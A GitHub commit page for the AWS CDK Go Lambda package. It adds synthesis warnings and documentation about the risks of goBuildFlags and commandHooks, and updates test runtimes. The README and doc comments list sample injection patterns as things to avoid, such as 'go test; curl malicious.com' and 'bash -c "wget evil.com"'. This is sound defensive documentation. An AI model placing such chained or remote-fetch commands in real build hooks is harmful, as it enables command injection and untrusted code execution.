Skip to content

Commit 8bcea28

Browse files
committed
feat(lambda-go): add security warnings for goBuildFlags and commandHooks
- Add CDK annotations warning about potential security risks - Warn when goBuildFlags or commandHooks are used during bundling - Update documentation with security best practices - Add tests to verify warning generation
1 parent 7a72676 commit 8bcea28

File tree

5 files changed

+185
-32
lines changed

5 files changed

+185
-32
lines changed

packages/@aws-cdk/aws-lambda-go-alpha/README.md

Lines changed: 83 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
170170
});
171171
```
172172

173+
**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
174+
173175
By default this construct doesn't use any Go module proxies. This is contrary to
174176
a standard Go installation, which would use the Google proxy by default. To
175177
recreate that behavior, do the following:
@@ -200,10 +202,9 @@ new go.GoFunction(this, 'GoFunction', {
200202

201203
## Command hooks
202204

203-
It is possible to run additional commands by specifying the `commandHooks` prop:
205+
It is possible to run additional commands by specifying the `commandHooks` prop:
204206

205-
```text
206-
// This example only available in TypeScript
207+
```ts
207208
// Run additional commands on a GoFunction via `commandHooks` property
208209
new go.GoFunction(this, 'handler', {
209210
bundling: {
@@ -230,6 +231,85 @@ an array of commands to run. Commands are chained with `&&`.
230231
The commands will run in the environment in which bundling occurs: inside the
231232
container for Docker bundling or on the host OS for local bundling.
232233

234+
### ⚠️ Security Considerations
235+
236+
**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
237+
238+
**Safe patterns (cross-platform):**
239+
240+
```ts
241+
commandHooks: {
242+
beforeBundling: () => [
243+
'go test ./...', // ✅ Standard Go commands work on all OS
244+
'go mod tidy', // ✅ Go module commands
245+
'make clean', // ✅ Build tools (if available)
246+
'echo "Building app"', // ✅ Simple output with quotes
247+
],
248+
}
249+
```
250+
251+
**Dangerous patterns to avoid:**
252+
253+
*Windows-specific dangers:*
254+
255+
```ts
256+
commandHooks: {
257+
beforeBundling: () => [
258+
'go test & curl.exe malicious.com', // ❌ Command chaining with &
259+
'echo %USERPROFILE%', // ❌ Environment variable expansion
260+
'powershell -Command "..."', // ❌ PowerShell execution
261+
],
262+
}
263+
```
264+
265+
*Unix/Linux/macOS dangers:*
266+
267+
```ts
268+
commandHooks: {
269+
beforeBundling: () => [
270+
'go test; curl malicious.com', // ❌ Command chaining with ;
271+
'echo $(whoami)', // ❌ Command substitution
272+
'bash -c "wget evil.com"', // ❌ Shell execution
273+
],
274+
}
275+
```
276+
277+
**When using third-party constructs** that include `GoFunction`:
278+
279+
* Review the construct's source code before use
280+
* Verify what commands it executes via `commandHooks` and `goBuildFlags`
281+
* Only use constructs from trusted publishers
282+
* Test in isolated environments first
283+
284+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
285+
286+
For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
287+
288+
## Security Best Practices
289+
290+
### Third-Party Construct Safety
291+
292+
When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
293+
294+
1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
295+
2. **Verify publishers** - Use constructs only from trusted, verified sources
296+
3. **Pin versions** - Use exact versions to prevent supply chain attacks
297+
4. **Isolated testing** - Test third-party constructs in sandboxed environments
298+
299+
**Example of safe third-party usage:**
300+
301+
```ts
302+
// Before using, review the source at: github.com/trusted-org/go-construct
303+
import { TrustedGoConstruct } from '@trusted-org/go-construct'; // pinned version
304+
305+
// Verify it doesn't use dangerous commandHooks or goBuildFlags patterns
306+
new TrustedGoConstruct(this, 'MyConstruct', {
307+
// ... configuration
308+
});
309+
```
310+
311+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
312+
233313
## Additional considerations
234314

235315
Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.

packages/@aws-cdk/aws-lambda-go-alpha/lib/function.ts

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import * as fs from 'fs';
22
import * as path from 'path';
33
import * as lambda from 'aws-cdk-lib/aws-lambda';
4+
import * as cdk from 'aws-cdk-lib/core';
45
import { Construct } from 'constructs';
56
import { Bundling } from './bundling';
67
import { BundlingOptions } from './types';
@@ -113,6 +114,21 @@ export class GoFunction extends lambda.Function {
113114
const runtime = props.runtime ?? lambda.Runtime.PROVIDED_AL2;
114115
const architecture = props.architecture ?? lambda.Architecture.X86_64;
115116

117+
// Security warnings for potentially unsafe bundling options
118+
if (props.bundling?.goBuildFlags?.length) {
119+
cdk.Annotations.of(scope).addWarningV2(
120+
'@aws-cdk/aws-lambda-go-alpha:goBuildFlagsSecurityWarning',
121+
'goBuildFlags can execute arbitrary commands during bundling. Ensure all flags come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',
122+
);
123+
}
124+
125+
if (props.bundling?.commandHooks?.beforeBundling || props.bundling?.commandHooks?.afterBundling) {
126+
cdk.Annotations.of(scope).addWarningV2(
127+
'@aws-cdk/aws-lambda-go-alpha:commandHooksSecurityWarning',
128+
'commandHooks can execute arbitrary commands during bundling. Ensure all commands come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',
129+
);
130+
}
131+
116132
super(scope, id, {
117133
...props,
118134
runtime,

packages/@aws-cdk/aws-lambda-go-alpha/lib/types.ts

Lines changed: 38 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,11 @@ export interface BundlingOptions extends DockerRunOptions {
2525
* For example:
2626
* ['ldflags "-s -w"']
2727
*
28+
* **Security Warning**: These flags are passed directly to the Go build command.
29+
* Only use trusted values as they can execute arbitrary commands during bundling.
30+
* Avoid flags like `-toolexec` with untrusted arguments, and be cautious with
31+
* third-party CDK constructs that may contain malicious build flags.
32+
*
2833
* @default - none
2934
*/
3035
readonly goBuildFlags?: string[];
@@ -77,6 +82,10 @@ export interface BundlingOptions extends DockerRunOptions {
7782
/**
7883
* Command hooks
7984
*
85+
* ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
86+
* Only use trusted commands from verified sources. Avoid shell metacharacters
87+
* that could enable command injection attacks.
88+
*
8089
* @default - do not run additional commands
8190
*/
8291
readonly commandHooks?: ICommandHooks;
@@ -125,29 +134,49 @@ export interface BundlingOptions extends DockerRunOptions {
125134
* These commands will run in the environment in which bundling occurs: inside
126135
* the container for Docker bundling or on the host OS for local bundling.
127136
*
137+
* ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
138+
* Only use trusted commands and avoid shell metacharacters that could enable
139+
* command injection attacks.
140+
*
141+
* **Safe patterns (cross-platform):**
142+
* - `go test ./...` - Standard Go commands work on all platforms
143+
* - `go mod tidy` - Go module commands
144+
* - `echo "Building"` - Simple output with quotes
145+
* - `make clean` - Build tools (if available)
146+
*
147+
* **Dangerous patterns to avoid:**
148+
*
149+
* *Windows:*
150+
* - `go test & curl.exe malicious.com` (command chaining)
151+
* - `echo %USERPROFILE%` (environment variable expansion)
152+
* - `powershell -Command "..."` (PowerShell execution)
153+
*
154+
* *Unix/Linux/macOS:*
155+
* - `go test; curl malicious.com` (command chaining)
156+
* - `echo $(whoami)` (command substitution)
157+
* - `bash -c "wget evil.com"` (shell execution)
158+
*
128159
* Commands are chained with `&&`.
129160
*
130-
* ```text
131-
* {
132-
* // Run tests prior to bundling
133-
* beforeBundling(inputDir: string, outputDir: string): string[] {
134-
* return [`go test -mod=vendor ./...`];
135-
* }
136-
* // ...
137-
* }
138-
* ```
161+
* @see https://docs.aws.amazon.com/cdk/latest/guide/security.html
139162
*/
140163
export interface ICommandHooks {
141164
/**
142165
* Returns commands to run before bundling.
143166
*
167+
* ⚠️ **Security**: Ensure commands come from trusted sources only.
168+
* Commands are executed directly in the shell environment.
169+
*
144170
* Commands are chained with `&&`.
145171
*/
146172
beforeBundling(inputDir: string, outputDir: string): string[];
147173

148174
/**
149175
* Returns commands to run after bundling.
150176
*
177+
* ⚠️ **Security**: Ensure commands come from trusted sources only.
178+
* Commands are executed directly in the shell environment.
179+
*
151180
* Commands are chained with `&&`.
152181
*/
153182
afterBundling(inputDir: string, outputDir: string): string[];

packages/@aws-cdk/aws-lambda-go-alpha/test/bundling.test.ts

Lines changed: 19 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ const entry = '/project/cmd/api';
3232
test('bundling', () => {
3333
Bundling.bundle({
3434
entry,
35-
runtime: Runtime.GO_1_X,
35+
runtime: Runtime.PROVIDED_AL2023,
3636
architecture: Architecture.X86_64,
3737
moduleDir,
3838
forcedDockerBundling: true,
@@ -73,7 +73,7 @@ test('bundling', () => {
7373
test('bundling with file as entry', () => {
7474
Bundling.bundle({
7575
entry: '/project/main.go',
76-
runtime: Runtime.GO_1_X,
76+
runtime: Runtime.PROVIDED_AL2023,
7777
architecture: Architecture.X86_64,
7878
moduleDir,
7979
});
@@ -94,7 +94,7 @@ test('bundling with file as entry', () => {
9494
test('bundling with file in subdirectory as entry', () => {
9595
Bundling.bundle({
9696
entry: '/project/cmd/api/main.go',
97-
runtime: Runtime.GO_1_X,
97+
runtime: Runtime.PROVIDED_AL2023,
9898
architecture: Architecture.X86_64,
9999
moduleDir,
100100
});
@@ -115,7 +115,7 @@ test('bundling with file in subdirectory as entry', () => {
115115
test('bundling with file other than main.go in subdirectory as entry', () => {
116116
Bundling.bundle({
117117
entry: '/project/cmd/api/api.go',
118-
runtime: Runtime.GO_1_X,
118+
runtime: Runtime.PROVIDED_AL2023,
119119
architecture: Architecture.X86_64,
120120
moduleDir,
121121
});
@@ -137,7 +137,7 @@ test('go with Windows paths', () => {
137137
const osPlatformMock = jest.spyOn(os, 'platform').mockReturnValue('win32');
138138
Bundling.bundle({
139139
entry: 'C:\\my-project\\cmd\\api',
140-
runtime: Runtime.GO_1_X,
140+
runtime: Runtime.PROVIDED_AL2023,
141141
architecture: Architecture.X86_64,
142142
moduleDir: 'C:\\my-project\\go.mod',
143143
forcedDockerBundling: true,
@@ -157,7 +157,7 @@ test('go with Windows paths', () => {
157157
test('with Docker build args', () => {
158158
Bundling.bundle({
159159
entry,
160-
runtime: Runtime.GO_1_X,
160+
runtime: Runtime.PROVIDED_AL2023,
161161
architecture: Architecture.X86_64,
162162
moduleDir,
163163
forcedDockerBundling: true,
@@ -194,7 +194,7 @@ test('Local bundling', () => {
194194

195195
expect(bundler.local).toBeDefined();
196196

197-
const tryBundle = bundler.local?.tryBundle('/outdir', { image: Runtime.GO_1_X.bundlingImage });
197+
const tryBundle = bundler.local?.tryBundle('/outdir', { image: Runtime.PROVIDED_AL2023.bundlingImage });
198198
expect(tryBundle).toBe(true);
199199

200200
expect(spawnSyncMock).toHaveBeenCalledWith(
@@ -220,7 +220,7 @@ test('Incorrect go version', () => {
220220
architecture: Architecture.X86_64,
221221
});
222222

223-
const tryBundle = bundler.local?.tryBundle('/outdir', { image: Runtime.GO_1_X.bundlingImage });
223+
const tryBundle = bundler.local?.tryBundle('/outdir', { image: Runtime.PROVIDED_AL2023.bundlingImage });
224224

225225
expect(tryBundle).toBe(false);
226226
});
@@ -229,7 +229,7 @@ test('Custom bundling docker image', () => {
229229
Bundling.bundle({
230230
entry,
231231
moduleDir,
232-
runtime: Runtime.GO_1_X,
232+
runtime: Runtime.PROVIDED_AL2023,
233233
architecture: Architecture.X86_64,
234234
forcedDockerBundling: true,
235235
dockerImage: DockerImage.fromRegistry('my-custom-image'),
@@ -246,7 +246,7 @@ test('Custom bundling docker image', () => {
246246
test('Go build flags can be passed', () => {
247247
Bundling.bundle({
248248
entry,
249-
runtime: Runtime.GO_1_X,
249+
runtime: Runtime.PROVIDED_AL2023,
250250
architecture: Architecture.X86_64,
251251
moduleDir,
252252
environment: {
@@ -278,7 +278,7 @@ test('Go build flags can be passed', () => {
278278
test('AssetHashType can be specified', () => {
279279
Bundling.bundle({
280280
entry,
281-
runtime: Runtime.GO_1_X,
281+
runtime: Runtime.PROVIDED_AL2023,
282282
architecture: Architecture.X86_64,
283283
moduleDir,
284284
environment: {
@@ -341,7 +341,7 @@ test('Custom bundling entrypoint', () => {
341341
Bundling.bundle({
342342
entry,
343343
moduleDir,
344-
runtime: Runtime.GO_1_X,
344+
runtime: Runtime.PROVIDED_AL2023,
345345
architecture: Architecture.X86_64,
346346
forcedDockerBundling: true,
347347
entrypoint: ['/cool/entrypoint', '--cool-entrypoint-arg'],
@@ -359,7 +359,7 @@ test('Custom bundling volumes', () => {
359359
Bundling.bundle({
360360
entry,
361361
moduleDir,
362-
runtime: Runtime.GO_1_X,
362+
runtime: Runtime.PROVIDED_AL2023,
363363
architecture: Architecture.X86_64,
364364
forcedDockerBundling: true,
365365
volumes: [{ hostPath: '/host-path', containerPath: '/container-path' }],
@@ -377,7 +377,7 @@ test('Custom bundling volumesFrom', () => {
377377
Bundling.bundle({
378378
entry,
379379
moduleDir,
380-
runtime: Runtime.GO_1_X,
380+
runtime: Runtime.PROVIDED_AL2023,
381381
architecture: Architecture.X86_64,
382382
forcedDockerBundling: true,
383383
volumesFrom: ['777f7dc92da7'],
@@ -395,7 +395,7 @@ test('Custom bundling workingDirectory', () => {
395395
Bundling.bundle({
396396
entry,
397397
moduleDir,
398-
runtime: Runtime.GO_1_X,
398+
runtime: Runtime.PROVIDED_AL2023,
399399
architecture: Architecture.X86_64,
400400
forcedDockerBundling: true,
401401
workingDirectory: '/working-directory',
@@ -413,7 +413,7 @@ test('Custom bundling user', () => {
413413
Bundling.bundle({
414414
entry,
415415
moduleDir,
416-
runtime: Runtime.GO_1_X,
416+
runtime: Runtime.PROVIDED_AL2023,
417417
architecture: Architecture.X86_64,
418418
forcedDockerBundling: true,
419419
user: 'user:group',
@@ -431,7 +431,7 @@ test('Custom bundling securityOpt', () => {
431431
Bundling.bundle({
432432
entry,
433433
moduleDir,
434-
runtime: Runtime.GO_1_X,
434+
runtime: Runtime.PROVIDED_AL2023,
435435
architecture: Architecture.X86_64,
436436
forcedDockerBundling: true,
437437
securityOpt: 'no-new-privileges',
@@ -449,7 +449,7 @@ test('Custom bundling network', () => {
449449
Bundling.bundle({
450450
entry,
451451
moduleDir,
452-
runtime: Runtime.GO_1_X,
452+
runtime: Runtime.PROVIDED_AL2023,
453453
architecture: Architecture.X86_64,
454454
forcedDockerBundling: true,
455455
network: 'host',
@@ -467,7 +467,7 @@ test('Custom bundling file copy variant', () => {
467467
Bundling.bundle({
468468
entry,
469469
moduleDir,
470-
runtime: Runtime.GO_1_X,
470+
runtime: Runtime.PROVIDED_AL2023,
471471
architecture: Architecture.X86_64,
472472
forcedDockerBundling: true,
473473
bundlingFileAccess: BundlingFileAccess.VOLUME_COPY,

0 commit comments

Comments
 (0)